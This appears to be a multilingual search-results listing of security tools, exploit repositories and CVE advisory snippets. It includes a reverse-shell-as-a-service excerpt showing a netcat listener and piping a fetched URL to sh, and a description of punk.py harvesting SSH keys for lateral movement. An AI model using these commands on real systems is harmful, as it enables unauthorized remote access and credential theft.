10172 matches found
Narthex
Narthex Narthex Griego: Νάρθηξ, νάρθηκας es un generador de diccionarios modular y minimalista para sistemas operativos Unix y similares a Unix escrito en C y Shell. Contiene programas autónomos al estilo Unix para la creación de diccionarios personalizados que pueden utilizarse para recuperación...
lynis
ドキュメント このソフトウェアは好きですか？プロジェクトにスターを付け てスターゲイザーになりましょう。 lynis Lynis - UNIXベースシステム向けのセキュリティ監査および堅牢化ツール。 LynisはLinux、macOS、BSDなどを含むUNIXベースのシステム向けのセキュリティ監査ツールです。システム自体で実行され、詳細なセキュリティスキャン を実施します。主な目的はセキュリティ防御をテストし、さらなるシステム堅牢化のためのヒント...
reverse-shell
reverse-shell 反向Shell即服务 - https://reverse-shell.sh 一个易于记忆的反向Shell，适用于大多数类Unix系统。 它会检测目标上可用的软件，并运行合适的有效载荷。 用法 1. 监听连接 在你的机器上打开一个端口并监听。你可以使用netcat轻松完成。 root@kitploit: nc -l 1337 2. 在目标上执行反向Shell 在目标机器上，将 https://reverse-shell.sh/你IP:端口 的输出通过管道传给sh。 root@kitploit: curl...
punk.py
punk.py unix SSH ポストエクスプロイテーション 1337 ツール 仕組み punk.py は、侵害された unix マシンからのネットワークピボットを支援するために設計されたポストエクスプロイテーションツールです。 unix システムからユーザー名、SSH 鍵、knownhosts を収集し、見つかった全ての組み合わせに対して SSH 接続を試みます。 punk.py は標準の Python2 と Python3 の両方のインタプリタで動作するように記述されています。 スクリーンショット 使用例 標準実行: root@kitploit: $ ./punk.py passw...
CVE-2026-27878 vulnerabilities
Vulnerabilities for packages: grafana-fips, grafana...
Shellshock
Exploit Shellshock CVE-2014-6271 Exploit Descrizione Questo repository contiene un exploit per una vulnerabilità che colpisce i sistemi basati su Unix. Si prega di notare che si tratta semplicemente di uno script proof-of-concept creato a scopo educativo e che dovrebbe essere utilizzato in modo...
CVE-2026-59981
OpenEXR is the reference implementation and specification for the EXR...
CVE-2026-54548
kas is a setup tool for bitbake based projects. Prior to 5.4, internal SSH key setup triggered by SSHPRIVATEKEY or SSHPRIVATEKEYFILE creates /.ssh/config when no user-specific SSH configuration exists and adds a global Host rule containing StrictHostKeyChecking no. In kas/libcmds.py,...
Astra Linux – Vulnerability in Python 3.7, Python 2.7, Pypy
A vulnerability was discovered in Python before version 3.8.18, 3.9.x before version 3.9.18, 3.10.x before version 3.10.13, and 3.11.x before version 3.11.5. This vulnerability primarily affects servers such as HTTP servers that use TLS client authentication. When a TLS server-side socket is...
Astra Linux – Vulnerability in p7zip, 7zip
7-Zip XZ Decompression Heap-Based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected 7-Zip installations. User interaction is required to exploit this vulnerability, as the target must visit a malicious page or ope...
Astra Linux – Vulnerability in hdf5
The HDF5 library from version 1.14.3 has a segmentation fault in the H5VM.c function H5VMmemcpyvv...
Astra Linux – Vulnerability in Samba
Windows Kerberos Elevation of Privilege Vulnerability...
CVE-2026-48756
Incus is a system container and virtual machine manager. Prior to version 7.1.0, backend.CreateCustomVolumeFromBackup in internal/server/storage/backend.go contains an unguarded time.Time dereference on the ExpiresAt field of every volume-snapshot entry in an imported custom-volume backup. An...
CVE-2026-55564
FreeRDP is a free implementation of the Remote Desktop Protocol. Prior to 3.27.0, the glyphcacheget function in libfreerdp/cache/glyph.c checks whether index is greater than cache-number instead of greater than or equal to it. A malicious RDP server can use GLYPHFRAGMENTUSE replay in...
CVE-2026-59893 vulnerabilities
Vulnerabilities for packages: mlflow, airflow, mycli...
CVE-2026-50645 vulnerabilities
Vulnerabilities for packages: wso2is, apache-tika, apache-tika-fips...
CVE-2026-45699
Netatalk is a Free and Open Source file server suite for Unix-like operating systems. In versions 3.1.19 through 4.4.2, a stack-based buffer overflow exists in the copydir function of Netatalk's afpd daemon due to an integer underflow in the calculation of the remaining buffer size used for path...
CVE-2026-47766
crun is an open source OCI Container Runtime fully written in C. Prior to version 1.28, crun's default device setup opens the container rootfs /dev directory without ONOFOLLOW. If an OCI bundle contains rootfs/dev as a symlink and the bundle configuration does not mount /dev, crun follows that...
CVE-2026-47192
kas is a setup tool for bitbake based projects. Starting in version 4.8 and prior to version 5.3, kas checks out and processes repositories regarding configuration includes prior to validating signatures of those repositories. This may allow to replace on original repository with one under the...